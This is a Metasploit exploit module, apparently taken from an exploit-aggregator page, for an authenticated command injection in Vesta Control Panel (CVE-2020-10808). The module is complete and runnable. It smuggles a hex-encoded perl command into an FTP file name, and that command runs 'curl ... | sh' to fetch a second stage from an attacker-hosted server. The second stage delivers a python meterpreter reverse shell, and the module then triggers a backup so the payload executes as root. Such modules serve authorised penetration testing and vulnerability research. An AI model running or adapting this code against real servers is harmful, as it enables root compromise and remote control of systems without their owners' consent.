Share
## https://sploitus.com/exploit?id=PACKETSTORM:157219
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Ftp  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::HttpServer  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Vesta Control Panel Authenticated Remote Code Execution",  
'Description' => %q{  
This module exploits an authenticated command injection vulnerability in the v-list-user-backups  
bash script file in Vesta Control Panel to gain remote code execution as the root user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module  
],  
'References' =>  
[  
['URL', 'https://pentest.blog/vesta-control-panel-second-order-remote-code-execution-0day-step-by-step-analysis/'],  
['CVE', '2020-10808']  
],  
'DefaultOptions' =>  
{  
'SSL' => true,  
'WfsDelay' => 300,  
'Payload' => 'python/meterpreter/reverse_tcp'  
},  
'Platform' => ['python'],  
'Arch' => ARCH_PYTHON,  
'Targets' => [[ 'Automatic', { }]],  
'Privileged' => true,  
'DisclosureDate' => "Mar 17 2020",  
'DefaultTarget' => 0,  
'Notes' =>  
{  
'Stability' => [ CRASH_SAFE, ],  
'Reliability' => [ FIRST_ATTEMPT_FAIL, ],  
'SideEffects' => [ IOC_IN_LOGS, CONFIG_CHANGES, ],  
}  
))  
  
register_options(  
[  
Opt::RPORT(8083),  
OptString.new('USERNAME', [true, 'The username to login as']),  
OptString.new('PASSWORD', [true, 'The password to login with']),  
OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])  
]  
)  
deregister_options('FTPUSER', 'FTPPASS')  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def login  
#  
# This is very simple login process. Nothing important.  
# We will be using cookie and csrf_token across the module as instance variables.  
#  
print_status('Retrieving cookie and csrf token values')  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'login', '/'),  
})  
  
unless res  
fail_with(Failure::Unreachable, 'Target is unreachable.')  
end  
  
unless res.code == 200  
fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 200 response code, but got #{res.code} instead.")  
end  
  
if res.get_cookies.empty?  
fail_with(Failure::UnexpectedReply, 'Server returned no HTTP cookies')  
end  
  
@cookie = res.get_cookies  
@csrf_token = res.body.scan(/<input type="hidden" name="token" value="(.*)">/).flatten[0] || ''  
  
if @csrf_token.empty?  
fail_with(Failure::UnexpectedReply, 'There is no CSRF token at HTTP response.')  
end  
  
print_good('Cookie and CSRF token values successfully retrieved')  
  
print_status('Authenticating to HTTP Service with given credentials')  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'login', '/'),  
'cookie' => @cookie,  
'vars_post' => {  
'token' => @csrf_token,  
'user' => username,  
'password' => password  
}  
})  
  
unless res  
fail_with(Failure::Unreachable, 'Target is unreachable.')  
end  
  
if res.body.include?('Invalid username or password.')  
fail_with(Failure::NoAccess, 'Credentials are not valid.')  
end  
  
if res.body.include?('Invalid or missing token')  
fail_with(Failure::UnexpectedReply, 'CSRF Token is wrong.')  
end  
  
if res.code == 302  
if res.get_cookies.empty?  
fail_with(Failure::UnexpectedReply, 'Server returned no HTTP cookies')  
end  
@cookie = res.get_cookies  
else  
fail_with(Failure::UnexpectedReply, "Web server error! Expected a HTTP 302 response code, but got #{res.code} instead.")  
end  
  
end  
  
def start_backup_and_trigger_payload  
#  
# Once a scheduled backup is triggered, the v-backup-user script will be executed.  
# This script will take the file name that we provided and will insert it into backup.conf  
# so that the backup process can be performed correctly.  
#  
# At this point backup.conf should contain our payload, which we can then trigger by browsing  
# to the /list/backup/ URL. Note that one can only trigger the backup (and therefore gain  
# remote code execution) if no other backup processes are currently running.  
#  
# As a result, the exploit will check to see if a backup is currently running. If one is, it will print  
# 'An existing backup is already running' to the console until the existing backup is completed, at which  
# point it will trigger its own backup to trigger the command injection using the malicious command that was  
# inserted into backup.conf  
  
print_status('Starting scheduled backup. Exploitation may take up to 5 minutes.')  
  
is_scheduled_backup_running = true  
  
while is_scheduled_backup_running  
  
# Trigger the scheduled backup process  
res = send_request_cgi({  
'method' => 'GET',  
'cookie' => @cookie,  
'uri' => normalize_uri(target_uri.path, 'schedule', 'backup', '/'),  
})  
  
if res && res.code == 302 && res.headers['Location'] =~ /\/list\/backup\//  
# Due to a bug in send_request_cgi we must manually redirect ourselves!  
res = send_request_cgi({  
'method' => 'GET',  
'cookie' => @cookie,  
'uri' => normalize_uri(target_uri.path, 'list', 'backup', '/'),  
})  
if res && res.code == 200  
if res.body.include?('An existing backup is already running. Please wait for that backup to finish.')  
# An existing backup is taking place, so we must wait for it to finish its job!  
print_status('It seems there is an active backup process ! Recheck after 30 second. Zzzzzz...')  
sleep(30)  
elsif res.body.include?('Task has been added to the queue.')  
# Backup process is being initiated  
print_good('Scheduled backup has been started ! ')  
else  
fail_with(Failure::UnexpectedReply, '/list/backup/ is reachable but replied message is unexpected.')  
end  
else  
# The web server couldn't reply to the request within given timeout window because our payload  
# executed in the background. This means that the res object will be 'nil' due to send_request_cgi()  
# timing out, which means our payload executed!  
print_good('Payload appears to have executed in the background. Enjoy the shells <3')  
is_scheduled_backup_running = false  
end  
else  
fail_with(Failure::UnexpectedReply, '/schedule/backup/ is not reachable.')  
end  
end  
end  
  
def payload_implant  
#  
# Our payload will be placed as a file name on FTP service.  
# Payload length can't be more then 255 and SPACE can't be used because of a  
# bug in the backend software.  
# s  
# Due to these limitations, the payload is fetched using curl before then  
# being executed with perl. This perl script will then fetch the full  
# python payload and execute it.  
#  
final_payload = "curl -sSL #{@second_stage_url} | sh".to_s.unpack("H*").first  
p = "perl${IFS}-e${IFS}'system(pack(qq,H#{final_payload.length},,qq,#{final_payload},))'"  
  
# Yet another datastore variable overriding.  
if datastore['SSL']  
ssl_restore = true  
datastore['SSL'] = false  
end  
port_restore = datastore['RPORT']  
datastore['RPORT'] = 21  
datastore['FTPUSER'] = username  
datastore['FTPPASS'] = password  
  
#  
# Connecting to the FTP service with same creds as web ui.  
# Implanting the very first stage of payload as a empty file.  
#  
if (not connect_login)  
fail_with(Failure::NoAccess, 'Unable to authenticate to FTP service')  
end  
print_good('Successfully authenticated to the FTP service')  
  
res = send_cmd_data(['PUT', ".a';$(#{p});'"], "")  
if res.nil?  
fail_with(Failure::UnexpectedReply, "Failed to upload the payload to FTP server")  
end  
print_good('The file with the payload in the file name has been successfully uploaded.')  
disconnect  
  
# Revert datastore variables.  
datastore['RPORT'] = port_restore  
datastore['SSL'] = true if ssl_restore  
end  
  
def exploit  
start_http_server  
payload_implant  
login  
start_backup_and_trigger_payload  
stop_service  
end  
  
def on_request_uri(cli, request)  
print_good('First stage is executed ! Sending 2nd stage of the payload')  
second_stage = "python -c \"#{payload.encoded}\""  
send_response(cli, second_stage, {'Content-Type'=>'text/html'})  
end  
  
def start_http_server  
#  
# HttpClient and HttpServer use same SSL variable :(  
# We don't need SSL for payload delivery so we  
# will disable it temporarily.  
#  
if datastore['SSL']  
ssl_restore = true  
datastore['SSL'] = false  
end  
start_service({'Uri' => {  
'Proc' => Proc.new { |cli, req|  
on_request_uri(cli, req)  
},  
'Path' => resource_uri  
}})  
print_status("Second payload download URI is #{get_uri}")  
# We need to use instance variables since get_uri keeps using  
# the SSL setting from the datastore.  
# Once the URI is retrieved, we will restore the SSL settings within the datastore.  
@second_stage_url = get_uri  
datastore['SSL'] = true if ssl_restore  
end  
end